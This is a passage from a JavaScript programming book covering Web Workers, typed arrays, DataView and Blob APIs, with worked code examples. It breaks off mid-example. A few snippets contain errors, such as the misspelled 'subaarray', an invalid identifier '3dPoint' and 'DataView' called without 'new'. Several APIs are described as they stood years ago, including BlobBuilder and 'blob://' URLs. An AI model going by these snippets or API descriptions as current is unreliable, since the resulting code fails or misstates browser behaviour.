`importScripts()` is a synchronous function: it does not return until all of the scripts have loaded and executed. You can start using the scripts you loaded as soon as `importScripts()` returns: there is no need for a callback or event handler. Once you have internalized the asynchronous nature of client-side JavaScript, it can seem strange to go back to simple, synchronous programming again. But that is the beauty of threads: you can use a blocking function call in a worker without blocking the event loop in the

main thread, and without blocking the computations being concurrently performed in other workers.

Worker Execution Model

Worker threads run their code (and all imported scripts) synchronously from top to bottom, and then enter an asynchronous phase in which they respond to events and timers. If a worker registers an `onmessage` event handler, it will never exit as long as there is a possibility that message events will still arrive. But if a worker doesn't listen for messages, it will run until there are no further pending tasks (such as download and timers) and all task-related callbacks have been called. Once all registered callbacks have been called, there is no way a worker can begin a new task, so it is safe for the thread to exit. Imagine a worker with no `onmessage` event handler that downloads a file using XMLHttpRequest. If the `onload` handler for that download begins a new download or registers a timeout with `setTimeout()`, the thread has new tasks and keeps running. Otherwise, the thread exits.

Since WorkerGlobalScope is the global object for workers, it has all of the properties of the core JavaScript global object, such as the `JSON` object, the `isNaN()` function, and the `Date()` constructor. (Look up `Global` in the core language reference section for a complete list.) In addition, however, WorkerGlobalScope also has the following properties of the client-side Window object:

- `self` is a reference to the global object itself. Note, however, that WorkerGlobalScope does not have the synonymous `window` property that Window objects have.
- The timer methods `setTimeout()`, `clearTimeout()`, `setInterval()` and `clearInterval()`.
- A `location` property that describes the URL that was passed to the `Worker()` constructor. This property refers to a Location object, just as the `location` property of a Window does. The Location object has properties `href`, `protocol`, `host`, `hostname`, `port`, `pathname`, `search`, and `hash`. In a worker, these properties are read-only.
- A `navigator` property that refers to an object with properties like those of the Navigator object of a window. A worker's navigator object has properties `appName`, `appVersion`, `platform`, `userAgent`, and `onLine`.
- The usual event target methods `addEventListener()` and `removeEventListener()`.
- An `onerror` property that you can set to an error handler function like the `Window.onerror` handler described in §14.6. An error handler, if you register one, is passed the error message, URL, and line number as three string arguments. It can return `false` to indicate that the error has been handled and should not be propagated as an error event on the Worker object. (At the time of this writing, however, error handling within a worker is not implemented interoperably across browsers.)

Finally, the WorkerGlobalScope object includes important client-side JavaScript constructor objects. These include `XMLHttpRequest()` so that workers can perform scripted

HTTP (see Chapter 18) and the `Worker()` constructor so that workers can create their own worker threads. (At the time of this writing, the `Worker()` constructor is not available to workers in Chrome and Safari, however.)

A number of the HTML5 APIs described later in this chapter define features that are available through both an ordinary Window object and also in workers through the WorkerGlobalScope. Often, the Window object will define an asynchronous API and the WorkerGlobalScope will add a synchronous version of the same basic API. These "worker-enabled" APIs will be described when we come to them later in the chapter.

Advanced Worker Features

The worker threads described in this section are *dedicated workers*: they are associated with, or dedicated to, a single parent thread. The Web Workers specification defines another type of worker, the *shared worker*. As I write this, browsers do not yet implement shared workers. The intent, however, is that a shared worker is a kind of named resource that can provide a computational service to any thread that cares to connect to it. In practice, interacting with a shared worker is like communicating with a server over a network socket.

The "socket" for a shared worker is known as a MessagePort. MessagePorts define a message-passing API like we've seen for dedicated workers and cross-document messaging: they have a `postMessage()` method and an `onmessage` event handler attribute. HTML5 allows you to create connected pairs of MessagePort objects with the `MessageChannel()` constructor. You can pass MessagePorts (via a special `postMessage()` argument) to other windows or other workers and use them as dedicated communication channels. MessagePorts and MessageChannels are an advanced API that is not yet supported by many browsers and is not covered here.

22.4.3 Web Worker Examples

We'll end this section with two Web Worker examples. The first demonstrates how to perform long computations in a worker thread so that they don't affect the UI responsiveness of the main thread. The second example demonstrates how worker threads can use simpler synchronous APIs.

Example 22-6 defines a `smear()` function that expects an `<img>` element as its argument. It applies a motion blur effect to "smear" the image to the right. It uses techniques from Chapter 21 to copy the image to an offscreen `<canvas>` element and then to extract the image's pixels to an ImageData object. You cannot pass an `<img>` or a `<canvas>` element to a worker via `postMessage()`, but you can pass an ImageData object (details are in "Structured Clones" on page 672). Example 22-6 creates a Worker object and calls `postMessage()` to send it the pixels to be smeared. When the worker sends the processed pixels back, the code copies them back into the `<canvas>`, extracts them as a `data:`// URL, and sets that URL on the `src` property of the original `<img>` element.

Download from Wow! eBook <www.wowebook.com>

Example 22-6. Creating a Web Worker for image processing

```
// Asynchronously replace the contents of the image with a smeared version.
// Use it like this: <img src="testimage.jpg" onclick="smear(this)"/>
function smear(img) {
    // Create an offscreen <canvas> the same size as the image
    var canvas = document.createElement("canvas");
    canvas.width = img.width;
    canvas.height = img.height;

    // Copy the image into the canvas, then extract its pixels
    var context = canvas.getContext("2d");
    context.drawImage(img, 0, 0);
    var pixels = context.getImageData(0,0,img.width,img.height)

    // Send the pixels to a worker thread
    var worker = new Worker("SmearWorker.js");      // Create worker
    worker.postMessage(pixels);                     // Copy and send pixels

    // Register a handler to get the worker's response
    worker.onmessage = function(e) {
        var smeared_pixels = e.data;                // Pixels from worker
        context.putImageData(smeared_pixels, 0, 0); // Copy them to the canvas
        img.src = canvas.toDataURL();               // And then to the img
        worker.terminate();                         // Stop the worker thread
        canvas.width = canvas.height = 0;           // Don't keep pixels around
    }
}
```

Example 22-7 is the code used by the worker thread created in Example 22-6. The bulk of this example is the image processing function: a modified version of the code from Example 21-10. Note that this example sets up its message-passing infrastructure in a single line of code: the `onmessage` event handler simply smears the image it is passed and posts it right back.

Example 22-7. Image processing in a Web Worker

```
// Get an ImageData object from the main thread, process it, send it back
onmessage = function(e) { postMessage(smear(e.data)); }

// Smear the ImageData pixels to the right, producing a motion blur.
// For large images, this function does a lot of computation and would
// cause UI responsiveness issues if it was used on the main thread.
function smear(pixels) {
    var data = pixels.data, width = pixels.width, height = pixels.height;
    var n = 10, m = n-1;  // Make n bigger for more smearing
    for(var row = 0; row < height; row++) {            // For each row
        var i = row*width*4 + 4;                       // 2nd pixel offset
        for(var col = 1; col < width; col++, i += 4) { // For each column
            data[i] =   (data[i] + data[i-4]*m)/n;     // Red pixel component
            data[i+1] = (data[i+1] + data[i-3]*m)/n;   // Green
            data[i+2] = (data[i+2] + data[i-2]*m)/n;   // Blue
            data[i+3] = (data[i+3] + data[i-1]*m)/n;   // Alpha component
        }
    }
```

```
    return pixels;
}
```

Note that the code in Example 22-7 can process any number of images that are sent to it. For simplicity, however, Example 22-6 creates a new Worker object for each image it processes. To ensure that the worker does not just sit around waiting for messages, it kills the thread with `terminate()` when done.

Debugging Workers

One of the APIs not available (at least as I write this) in WorkerGlobalScope is the console API and its invaluable `console.log()` function. Worker threads can't log output and can't interact with the document at all, so they can be tricky to debug. If a worker throws an error, the main thread will receive an error event on the Worker object. But often, you need a way for a worker to output debugging messages that are visible in the browser's web console. One straightforward way to do this is to modify the message passing protocol you use with the worker so that the worker can send debugging messages somehow. In Example 22-6, for example, we could insert the following code at the start of the `onmessage` event handler:

```
if (typeof e.data === "string") {
    console.log("Worker: " + e.data);
    return;
}
```

With that additional code in place, the Worker thread could display debugging messages simply by passing strings to `postMessage()`.

The next example demonstrates how Web Workers allow you to write synchronous code and use it safely in client-side JavaScript. §18.1.2.1 showed how to make synchronous HTTP requests with XMLHttpRequest, but it warned that doing so on the main browser thread was a very bad practice. In a worker thread, however, it is perfectly reasonable to make synchronous requests, and Example 22-8 demonstrates worker code that does just that. Its `onmessage` event handler expects an array of URLs to be fetched. It uses the synchronous XMLHttpRequest API to fetch them, and then posts the textual content of the URLs as an array of strings back to the main thread. Or, if any of the HTTP requests fail, it throws an error that propagates to the `onerror` handler of the Worker.

Example 22-8. Making synchronous XMLHttpRequests in a Web Worker

```
// This file will be loaded with new Worker(), so it runs as an independent
// thread and can safely use the synchronous XMLHttpRequest API.
// Messages are expected to be arrays of URLs. Synchronously fetch the
// contents of each URL as a string and send back an array of those strings.
onmessage = function(e) {
    var urls = e.data;   // Our input: the URLs to fetch
    var contents = [];   // Our output: the contents of those URLs

    for(var i = 0; i < urls.length; i++) {
```

```
        var url = urls[i];                  // For each URL
        var xhr = new XMLHttpRequest();     // Begin an HTTP request
        xhr.open("GET", url, false);        // false makes this synchronous
        xhr.send();                         // Blocks until response is complete
        if (xhr.status !== 200)             // Throw an error if request failed
            throw Error(xhr.status + " " + xhr.statusText + ": " + url);
        contents.push(xhr.responseText);    // Otherwise, store the URL contents
    }

    // Finally, send the array of URL contents back to the main thread
    postMessage(contents);
}
```


22.5 Typed Arrays and ArrayBuffers

As you know from Chapter 7, JavaScript arrays are general-purpose objects with numeric properties and a special `length` property. Array elements can be any JavaScript value. Arrays can grow or shrink dynamically and can be sparse. JavaScript implementations perform lots of optimizations so that typical uses of JavaScript arrays are very fast. *Typed arrays* are array-like objects (§7.11) that differ from regular arrays in some important ways:

- The elements of a typed array are all numbers. The constructor used to create the typed array determines the type (signed or unsigned integers or floating point) and size (in bits) of the numbers.
- Typed arrays have a fixed length.
- The elements of a typed array are always initialized to 0 when the array is created.

There are eight kinds of typed arrays, each with a different element type. You can create them with the following constructors:

Constructor	Numeric type
`Int8Array()`	signed bytes
`Uint8Array()`	unsigned bytes
`Int16Array()`	signed 16-bit short integers
`Uint16Array()`	unsigned 16-bit short integers
`Int32Array()`	signed 32-bit integers
`Uint32Array()`	unsigned 32-bit integers
`Float32Array()`	32-bit floating-point value
`Float64Array()`	64-bit floating-point value: a regular JavaScript number

Typed Arrays, <canvas>, and Core JavaScript

Typed arrays are an essential part of the WebGL 3D graphics API for the `<canvas>` element, and browsers have implemented them as part of WebGL. WebGL is not covered in this book, but typed arrays are generally useful and are covered here. You may recall from Chapter 21 that the Canvas API defines a `getImageData()` method that returns an ImageData object. The `data` property of an ImageData is an array of bytes. The HTML standard calls this a CanvasPixelArray, but it is essentially the same as the Uint8Array described here, except for the way it handles values outside of the range 0 to 255.

Note that these types are not part of the core language. A future version of the JavaScript language is likely to include support for typed arrays like these, but at the time of this writing, it is unclear whether the language will adopt the API described here or will create a new API.

When you create a typed array, you pass the array size to the constructor or pass an array or typed array to initialize the array elements with. Once you have created a typed array, you can read and write its elements with regular square-bracket notation, just as you would with any other array-like object:

```
var bytes = new Uint8Array(1024);       // One kilobyte of bytes
for(var i = 0; i < bytes.length; i++)   // For each element of the array
    bytes[i] = i & 0xFF;                // Set it to the low 8 bits of index
var copy = new Uint8Array(bytes);       // Make a copy of the array
var ints = new Int32Array([0,1,2,3]);   // A typed array holding these 4 ints
```

Modern JavaScript implementations optimize arrays to make them very efficient. Nevertheless, typed arrays can be even more efficient in both execution time and memory use. The following function computes the largest prime number less than the value you specify. It uses the Sieve of Eratosthenes algorithm, which requires a large array to keep track of which numbers are prime and which are composite. Since only a single bit of information is required for each array element, an Int8Array can be used more efficiently than a regular JavaScript array:

```
// Return the largest prime smaller than n, using the sieve of Eratosthenes
function sieve(n) {
    var a = new Int8Array(n+1);          // a[x] will be 1 if x is composite
    var max = Math.floor(Math.sqrt(n));  // Don't do factors higher than this
    var p = 2;                           // 2 is the first prime
    while(p <= max) {                    // For primes less than max
        for(var i = 2*p; i <= n; i += p) // Mark multiples of p as composite
            a[i] = 1;
        while(a[++p]) /* empty */;       // The next unmarked index is prime
    }
    while(a[n]) n--;                     // Loop backward to find the last prime
    return n;                            // And return it
}
```

The `sieve()` function continues to work if you replace the `Int8Array()` constructor with the traditional `Array()` constructor, but it runs two to three times more slowly and

requires substantially more memory for large values of the parameter *n*. You might also find typed arrays useful when working with numbers for graphics or mathematics:

```
var matrix = new Float64Array(9);   // A 3x3 matrix
var 3dPoint = new Int16Array(3);    // A point in 3D space
var rgba = new Uint8Array(4);       // A 4-byte RGBA pixel value
var sudoku = new Uint8Array(81);    // A 9x9 sudoku board
```

JavaScript square-bracket notation allows you to get and set individual elements of a typed array. But typed arrays also define methods for setting and querying entire regions of the array. The `set()` method copies the elements of regular or typed arrays into a typed array:

```
var bytes = new Uint8Array(1024)         // A 1K buffer
var pattern = new Uint8Array([0,1,2,3]); // An array of 4 bytes
bytes.set(pattern);      // Copy them to the start of another byte array
bytes.set(pattern, 4);   // Copy them again at a different offset
bytes.set([0,1,2,3], 8); // Or just copy values direct from a regular array
```

Typed arrays also have a `subarray` method that returns a portion of the array on which it is called:

```
var ints = new Int16Array([0,1,2,3,4,5,6,7,8,9]);       // 10 short integers
var last3 = ints.subaarray(ints.length-3, ints.length); // Last 3 of them
last3[0]       // => 7: this is the same as ints[7]
```

Note that `subarray()` does not make a copy of the data. It just returns a new view of the same underlying values:

```
ints[9] = -1;  // Change a value in the original array and...
last3[2]       // => -1: it also changes in the subarray
```

The fact that the `subarray()` method returns a new view of an existing array reveals something important about typed arrays: they are all views on an underlying chunk of bytes known as an ArrayBuffer. Every typed array has three properties that relate to the underlying buffer:

```
last3.buffer                // => returns an ArrayBuffer object
last3.buffer == ints.buffer // => true: both are views of the same buffer
last3.byteOffset            // => 14: this view starts at byte 14 of the buffer
last3.byteLength            // => 6: this view is 6 bytes (3 16-bit ints) long
```

The ArrayBuffer object itself has only a single property that returns its length:

```
last3.byteLength        // => 6: this view is 6 bytes long
last3.buffer.byteLength // => 20: but the underlying buffer has 20 bytes
```

ArrayBuffers are just opaque chunks of bytes. You can access those bytes with typed arrays, but an ArrayBuffer is not itself a typed array. Be careful, however: you can use numeric array indexing with ArrayBuffers just as you can with any JavaScript object. Doing so does not give you access to the bytes in the buffer, however:

```
var bytes = new Uint8Array(8); // Allocate 8 bytes
bytes[0] = 1;                  // Set the first byte to 1
bytes.buffer[0]                // => undefined: buffer doesn't have index 0
bytes.buffer[1] = 255;         // Try incorrectly to set a byte in the buffer
```

```
bytes.buffer[1]                // => 255: this just sets a regular JS property
bytes[1]                       // => 0: the line above did not set the byte
```

You can create ArrayBuffers directly with the `ArrayBuffer()` constructor, and, given an ArrayBuffer object, you can create any number of typed array views of that buffer:

```
var buf = new ArrayBuffer(1024*1024);       // One megabyte
var asbytes = new Uint8Array(buf);          // Viewed as bytes
var asints = new Int32Array(buf);           // Viewed as 32-bit signed integer
var lastK = new Uint8Array(buf,1023*1024);  // Last kilobyte as bytes
var ints2 = new Int32Array(buf, 1024, 256); // 2nd kilobyte as 256 integers
```

Typed arrays allow you to view the same sequence of bytes in chunks of 8, 16, 32, or 64 bits. This exposes the "endianness": the order in which bytes are arranged into longer words. For efficiency, typed arrays use the native endianness of the underlying hardware. On little-endian systems, the bytes of a number are arranged in an ArrayBuffer from least significant to most significant. On big-endian platforms, the bytes are arranged from most significant to least significant. You can determine the endianness of the underlying platform with code like this:

```
// If the integer 0x00000001 is arranged in memory as 01 00 00 00, then
// we're on a little endian platform. On a big-endian platform we'd get
// get bytes 00 00 00 01 instead.
var little_endian = new Int8Array(new Int32Array([1]).buffer)[0] === 1;
```

Today, the most common CPU architectures are little-endian. Many network protocols, however, and some binary file formats, require big-endian byte ordering. In §22.6, you'll learn how you can use ArrayBuffers to hold bytes read from files or downloaded from the network. When you do this, you can't just assume that the platform endianness matches the byte order of the data. In general, when working with external data, you can use Int8Array and Uint8Array to view the data as an array of individual bytes, but you should not use the other typed arrays with multibyte word sizes. Instead, you can use the DataView class, which defines methods for reading and writing values from an ArrayBuffer with explicitly specified byte ordering:

```
var data;                    // Assume this is an ArrayBuffer from the network
var view = DataView(data);   // Create a view of it
var int = view.getInt32(0);  // Big-endian 32-bit signed int from byte 0
int = view.getInt32(4,false); // Next 32-bit int is also big-endian
int = view.getInt32(8,true)  // Next 4 bytes as a little-endian signed int
view.setInt32(8,int,false);  // Write it back in big-endian format
```

DataView defines eight `get` methods for each of the eight typed array formats. They have names like `getInt16()`, `getUint32()`, and `getFloat64()`. The first argument is the byte offset within the ArrayBuffer at which the value begins. All of these getter methods, other than `getInt8()` and `getUint8()`, accept an optional boolean value as their second argument. If the second argument is omitted or is false, big-endian byte ordering is used. If the second argument is `true`, little-endian ordering is used.

DataView defines eight corresponding `set` methods that write values into the underlying ArrayBuffer. The first argument is the offset at which the value begins. The second argument is the value to write. Each of the methods, except `setInt8()` and

`setUint8()`, accepts an optional third argument. If the argument is omitted or is `false`, the value is written in big-endian format with most significant byte first. If the argument is `true`, the value is written in little-endian format with the least significant byte first.

22.6 Blobs

A Blob is an opaque reference to, or handle for, a chunk of data. The name comes from SQL databases, where it means "Binary Large Object." In JavaScript, Blobs often represent binary data, and they can be large, but neither is required: a Blob could also represent the contents of a small text file. Blobs are opaque: all you can do with them directly is determine their size in bytes, ask for their MIME type, and chop them up into smaller Blobs:

```
var blob = ...   // We'll see how to obtain a Blob later
blob.size        // Size of the Blob in bytes
blob.type        // MIME type of the Blob, or "" if unknown
var subblob = blob.slice(0,1024, "text/plain"); // First 1K of the Blob as text
var last = blob.slice(blob.size-1024, 1024);    // Last 1K of the Blob, untyped
```

The web browser can store Blobs in memory or on disk, and Blobs can represent really enormous chunks of data (such as video files) that are too large to fit in main memory without first being broken into smaller pieces with `slice()`. Because Blobs can be so large and may require disk access, the APIs that work with them are asynchronous (with synchronous versions available for use by worker threads).

Blobs are not terribly interesting by themselves, but they serve as a critical data interchange mechanism for various JavaScript APIs that work with binary data. Figure 22-2 illustrates how Blobs can be read from and written to the Web, the local filesystem, local databases, and also other windows and workers. It also shows how Blob content can be accessed as text, as typed arrays, or as URLs.

Before you can work with a Blob, you must obtain one somehow. There are a number of ways to do this, some involving APIs we've already covered and some involving APIs that are described later in this chapter:

- Blobs are supported by the structured clone algorithm (see "Structured Clones" on page 672), which means that you can obtain one from another window or thread via the message event. See §22.3 and §22.4.
- Blobs can be retrieved from client-side databases, as described in §22.8.
- Blobs can be downloaded from the web via scripted HTTP, using cutting-edge features of the XHR2 specification. This is covered in §22.6.2.
- You can create your own blobs, using a BlobBuilder object to build them out of strings, ArrayBuffer objects (§22.5), and other Blobs. The BlobBuilder object is demonstrated in §22.6.3.

Figure 22-2. Blobs and the APIs that use them

- Finally, and most importantly, the client-side JavaScript File object is a subtype of Blob: a File is just a Blob of data with a name and a modification date. You can obtain File objects from `<input type="file">` elements and from the drag-and-drop API, as explained in §22.6.1. File objects can also be obtained using the Filesystem API, which is covered in §22.7.

Once you have a Blob, there are various things you can do with it, many of them symmetrical to the items above:

- You can send a Blob to another window or worker thread with `postMessage()`. See §22.3 and §22.4.
- You can store a Blob in a client-side database. See §22.8.
- You can upload a Blob to a server by passing it to the `send()` method of an XMLHttpRequest object. The file upload example (Example 18-9) demonstrated how to do this (remember, a File object is just a specialized kind of Blob).

- You can use the `createObjectURL()` function to obtain a special `blob:` URL that refers to the content of a Blob, and then use this URL with the DOM or with CSS. §22.6.4 demonstrates this.
- You can use a FileReader object to asynchronously (or synchronously, in a worker thread) extract the content of a Blob into a string or ArrayBuffer. §22.6.5 demonstrates the basic technique.
- You can use the Filesystem API and the FileWriter object described in §22.7 to write a Blob into a local file.

The subsections below demonstrate simple ways to obtain and use Blobs. The more complicated techniques involving the local filesystem and client-side databases are covered later, in sections of their own.

22.6.1 Files As Blobs

The `<input type="file">` element was originally intended to enable file uploads in HTML forms. Browsers have always been careful to implement this element so that it only allows the upload of files explicitly selected by the user. Scripts cannot set the `value` property of this element to a filename, so they cannot go uploading arbitrary files from the user's computer. More recently, browser vendors have extended this element to allow client-side access to user-selected files. Note that allowing a client-side script to read the contents of selected files is no more or less secure than allowing those files to be uploaded to the server.

In browsers that support local file access, the `files` property of an `<input type="file">` element will be a FileList object. This is an array-like object whose elements are zero or more user-selected File objects. A File object is a Blob that also has `name` and `lastModifiedDate` properties:

```
<script>
// Log information about a list of selected files
function fileinfo(files) {
    for(var i = 0; i < files.length; i++) { // files is an array-like object
        var f = files[i];
        console.log(f.name,                 // Name only: no path
                    f.size, f.type,         // size and type are Blob properties
                    f.lastModifiedDate);    // another File property
    }
}
</script>
<!-- Allow selection of multiple image files and pass them to fileinfo()-->
<input type="file" accept="image/*" multiple onchange="fileinfo(this.files)"/>
```

Being able to display the names, types, and sizes of selected files isn't terribly interesting. In §22.6.4 and §22.6.5, we'll see how you can actually make use of the content of the file.

In addition to selecting files with an `<input>` element, a user can also give a script access to local files by dropping them into the browser. When an application receives a drop

event, the `dataTransfer.files` property of the event object will be the FileList associated with the drop, if there was one. The drag-and-drop API was covered in §17.7 and Example 22-10 below demonstrates its use with files.

22.6.2 Downloading Blobs

Chapter 18 covered scripted HTTP with the XMLHttpRequest object and also documented some of the new features of the XMLHttpRequest Level 2 (XHR2) draft specification. At the time of this writing, XHR2 defines a way to download the contents of a URL as a Blob, but browser implementations do not yet support it. Because the code cannot yet be tested, this section is only a simple sketch of the XHR2 API for working with Blobs.

Example 22-9 shows the basic technique for downloading a Blob from the Web. Contrast this example with Example 18-2, which downloads the contents of a URL as plain text:

Example 22-9. Downloading a Blob with XMLHttpRequest

```
// GET the contents of the url as a Blob and pass it to the specified callback.
// This code is untested: no browsers supported this API when it was written.
function getBlob(url, callback) {
    var xhr = new XMLHttpRequest();  // Create new XHR object
    xhr.open("GET", url);            // Specify URL to fetch
    xhr.responseType = "blob"        // We'd like a Blob, please
    xhr.onload = function() {        // onload is easier than onreadystatechange
        callback(xhr.response);      // Pass the blob to our callback
    }                                // Note .response, not .responseText
    xhr.send(null);                  // Send the request now
}
```

If the Blob you're downloading is quite large and you want to start processing it while it is downloading, you can use an `onprogress` event handler, along with the Blob reading techniques demonstrated in §22.6.5.

22.6.3 Building Blobs

Blobs often represent chunks of data from an external source such as a local file, a URL, or a database. But sometimes a web application wants to create its own Blobs to be uploaded to the Web or stored in a file or database or passed to another thread. To create a Blob from your own data, use a BlobBuilder:

```
// Create a new BlobBuilder
var bb = new BlobBuilder();
// Append a string to the blob, and mark the end of the string with a NUL char
bb.append("This blob contains this text and 10 big-endian 32-bit signed ints.");
bb.append("\0");  // NUL-terminate the string to mark its end
// Store some data into an ArrayBuffer
var ab = new ArrayBuffer(4*10);
var dv = new DataView(ab);
for(var i = 0; i < 10; i++) dv.setInt32(i*4,i);
// Append the ArrayBuffer to the Blob
```

```
bb.append(ab);
// Now get the blob from the builder, specifying a made-up MIME type
var blob = bb.getBlob("x-optional/mime-type-here");
```

We saw at the beginning of this section that Blobs have a `slice()` method that breaks them into pieces. You can join Blobs together by passing Blobs to the `append()` method of a BlobBuilder.

22.6.4 Blob URLs

The preceding sections have shown how you can obtain or create Blobs. We'll now shift gears and start talking about what you can actually *do* with the Blobs you obtain or create. One of the simplest things you can do with a Blob is create a URL that refers to the Blob. You can then use this URL anywhere you'd use a regular URL: in the DOM, in a stylesheet, or even as the target of an XMLHttpRequest.

Create a Blob URL with the function `createObjectURL()`. At the time of this writing, the draft specification and Firefox 4 put this function in a global object named `URL`, and Chrome and Webkit prefix that new global, calling it `webkitURL`. Earlier versions of the specification (and earlier browser implementations) put the function directly on the Window object. To create Blob URLs portably across browsers, you can define a utility like this:

```
var getBlobURL = (window.URL && URL.createObjectURL.bind(URL)) ||
    (window.webkitURL && webkitURL.createObjectURL.bind(webkitURL)) ||
    window.createObjectURL;
```

Web workers are also allowed to use this API and have access to these same functions, in the same `URL` (or `webkitURL`) object.

Pass a blob to `createObjectURL()` and it returns a URL (as an ordinary string). The URL will begin with `blob://`, and that URL scheme will be followed by a short string of text that identifies the Blob with some kind of opaque unique identifier. Note that this is very different than a `data://` URL, which encodes its own contents. A Blob URL is simply a reference to a Blob that is stored by the browser in memory or on the disk. `blob://` URLs are also quite different from `file://` URLs, which refer directly to a file in the local filesystem, exposing the path of the file, allowing directory browsing, and otherwise raising security issues.

Example 22-10 demonstrates two important techniques. First, it implements a "drop target" that listens for drag-and-drop events involving files. Then, when the user drops one or more files on the drop target, it uses `createObjectURL()` to obtain a URL for each one and then creates `<img>` elements to display thumbnails of the images referenced by those URLs.

Example 22-10. Displaying dropped image files with Blob URLs

```
<!DOCTYPE html>
<html><head>
<script>
```

```
// At the time of this writing, Firefox and Webkit disagree on the
// name of the createObjectURL() function
var getBlobURL = (window.URL && URL.createObjectURL.bind(URL)) ||
    (window.webkitURL && webkitURL.createObjectURL.bind(webkitURL)) ||
    window.createObjectURL;
var revokeBlobURL = (window.URL && URL.revokeObjectURL.bind(URL)) ||
    (window.webkitURL && webkitURL.revokeObjectURL.bind(webkitURL)) ||
    window.revokeObjectURL;

// When the document is loaded, add event handlers to the droptarget element
// so that it can handle drops of files
window.onload = function() {
    // Find the element we want to add handlers to.
    var droptarget = document.getElementById("droptarget");

    // When the user starts dragging files over the droptarget, highlight it.
    droptarget.ondragenter = function(e) {
        // If the drag is something other than files, ignore it.
        // The HTML5 dropzone attribute will simplify this when implemented.
        var types = e.dataTransfer.types;
        if (!types ||
            (types.contains && types.contains("Files")) ||
            (types.indexOf && types.indexOf("Files") != -1)) {
            droptarget.classList.add("active"); // Highlight droptarget
            return false;                       // We're interested in the drag
        }
    };
    // Unhighlight the drop zone if the user moves out of it
    droptarget.ondragleave = function() {
        droptarget.classList.remove("active");
    };

    // This handler just tells the browser to keep sending notifications
    droptarget.ondragover = function(e) { return false; };

    // When the user drops files on us, get their URLs and display thumbnails.
    droptarget.ondrop = function(e) {
        var files = e.dataTransfer.files;            // The dropped files
        for(var i = 0; i < files.length; i++) {      // Loop through them all
            var type = files[i].type;
            if (type.substring(0,6) !== "image/")    // Skip any nonimages
                continue;
            var img = document.createElement("img"); // Create an <img> element
            img.src = getBlobURL(files[i]);          // Use Blob URL with <img>
            img.onload = function() {                // When it loads
                this.width = 100;                    // adjust its size and
                document.body.appendChild(this);     // insert into document.
                revokeBlobURL(this.src);             // But don't leak memory!
            }
        }

        droptarget.classList.remove("active");       // Unhighlight droptarget
        return false;                                // We've handled the drop
    }
};
</script>
```

```
<style> /* Simple styles for the file drop target */
#droptarget { border: solid black 2px; width: 200px; height: 200px; }
#droptarget.active { border: solid red 4px; }
</style>
</head>
<body> <!-- The document starts off with just the file drop target -->
<div id="droptarget">Drop Image Files Here</div>
</body>
</html>
```

Blob URLs have the same origin (§13.6.2) as the script that creates them. This makes them much more versatile than `file://` URLs, which have a distinct origin and are therefore difficult to use within a web application. A Blob URL is only valid in documents of the same origin. If, for example, you passed a Blob URL via `postMessage()` to a window with a different origin, the URL would be meaningless to that window.

Blob URLs are not permanent. A Blob URL is no longer valid once the user has closed or navigated away from the document whose script created the URL. It is not possible, for example, to save a Blob URL to local storage and then reuse it when the user begins a new session with a web application.

It is also possible to manually "revoke" the validity of a Blob URL by calling `URL.revokeObjectURL()` (or `webkitURL.revokeObjectURL()`) and you may have noticed that Example 22-10 does this. This is a memory management issue. Once the thumbnail image has been displayed, the Blob is no longer needed and it should be allowed to be garbage collected. But if the web browser is maintaining a mapping from the Blob URL we've created to the Blob, that Blob cannot be garbage collected even if we're not using it. The JavaScript interpreter cannot track the usage of strings, and if the URL is still valid, it has to assume that it might still be used. This means that it cannot garbage collect the Blob until the URL has been revoked. Example 22-10 uses local files that don't require any cleanup, but you can imagine a more serious memory management issue if the Blob in question were one that had been built in memory with a BlobBuilder or one that had been downloaded with XMLHttpRequest and stored in a temporary file.

The `blob://` URL scheme is explicitly designed to work like a simplified `http://` URL, and browsers are required to act like mini HTTP servers when `blob://` URLs are requested. If a Blob URL that is no longer valid is requested, the browser must send a 404 Not Found status code. If a Blob URL from a different origin is requested, the browser must respond with 403 Not Allowed. Blob URLs only work with GET requests, and when one is successfully requested, the browser sends an HTTP 200 OK status code and also sends a `Content-Type` header that uses the `type` property of the Blob. Because Blob URLs work like simple HTTP URLs, you can "download" their content with XMLHttpRequest. (As we'll see in the next section, however, you can read the content of a Blob more directly using a FileReader object.)

22.6.5 Reading Blobs

So far, Blobs have been opaque chunks of data that allow only indirect access, through Blob URLs, to their contents. The FileReader object allows us read access to the characters or bytes contained in a Blob, and you can think of it as the opposite of a BlobBuilder. (A better name would be BlobReader, since it works with any Blob, not just Files.) Since Blobs can be very large objects stored in the filesystem, the API for reading them is asynchronous, much like the XMLHttpRequest API. A synchronous version of the API, FileReaderSync, is available in worker threads, although workers can also use the asynchronous version.

To use a FileReader, first create an instance with the `FileReader()` constructor. Next, define event handlers. Typically you'll define handlers for load and error events and possibly also for progress events. You can do this with `onload`, `onerror`, and `onprogress` or with the standard `addEventListener()` method. FileReader objects also trigger loadstart, loadend, and abort events, which are like the XMLHttpRequest events with the same names: see §18.1.4.

Once you've created a FileReader and registered suitable event handlers, you must pass the Blob you want to read to one of four methods: `readAsText()`, `readAsArrayBuffer()`, `readAsDataURL()`, and `readAsBinaryString()`. (You can, of course, call one of these methods first and then register event handlers—the single-threaded nature of JavaScript, described in §22.4, means that event handlers will never be called until your function has returned and the browser is back in its event loop.) The first two methods are the most important and are the ones covered here. Each of these read methods takes a Blob as its first argument. `readAsText()` takes an optional second argument that specifies the name of a text encoding. If you omit the encoding, it will automatically work with ASCII and UTF-8 text (and also UTF-16 text with a byte-order mark or BOM).

As the FileReader reads the Blob you've specified, it updates its `readyState` property. The value starts off at 0, indicating that nothing has been read. It changes to 1 when some data is available, and changes to 2 when the read has completed. The `result` property holds a partial or complete result as a string or ArrayBuffer. You do not normally poll the `state` and `result` properties, but instead use them from your `onprogress` or `onload` event handler.

Example 22-11 demonstrates how to use the `readAsText()` method to read local text files that the user selects.

Example 22-11. Reading text files with FileReader

```
<script>
// Read the specified text file and display it in the <pre> element below
function readfile(f) {
    var reader = new FileReader();  // Create a FileReader object
    reader.readAsText(f);           // Read the file
    reader.onload = function() {    // Define an event handler
        var text = reader.result;   // This is the file contents
```

```
        var out = document.getElementById("output");    // Find output element
        out.innerHTML = "";                             // Clear it
        out.appendChild(document.createTextNode(text)); // Display file contents
    }
    reader.onerror = function(e) {  // If anything goes wrong
        console.log("Error", e);    // Just log it
    };
}
</script>
Select the file to display:
<input type="file" onchange="readfile(this.files[0])"></input>
<pre id="output"></pre>
```

The `readAsArrayBuffer()` method is similar to `readAsText()`, except that it generally takes a little more effort to make use of an ArrayBuffer result than a string result. Example 22-12 is an example that uses `readAsArrayBuffer()` to read the first four bytes of a file as a big-endian integer.

Example 22-12. Reading the first four bytes of a file

```
<script>
// Examine the first 4 bytes of the specified blob. If this "magic number"
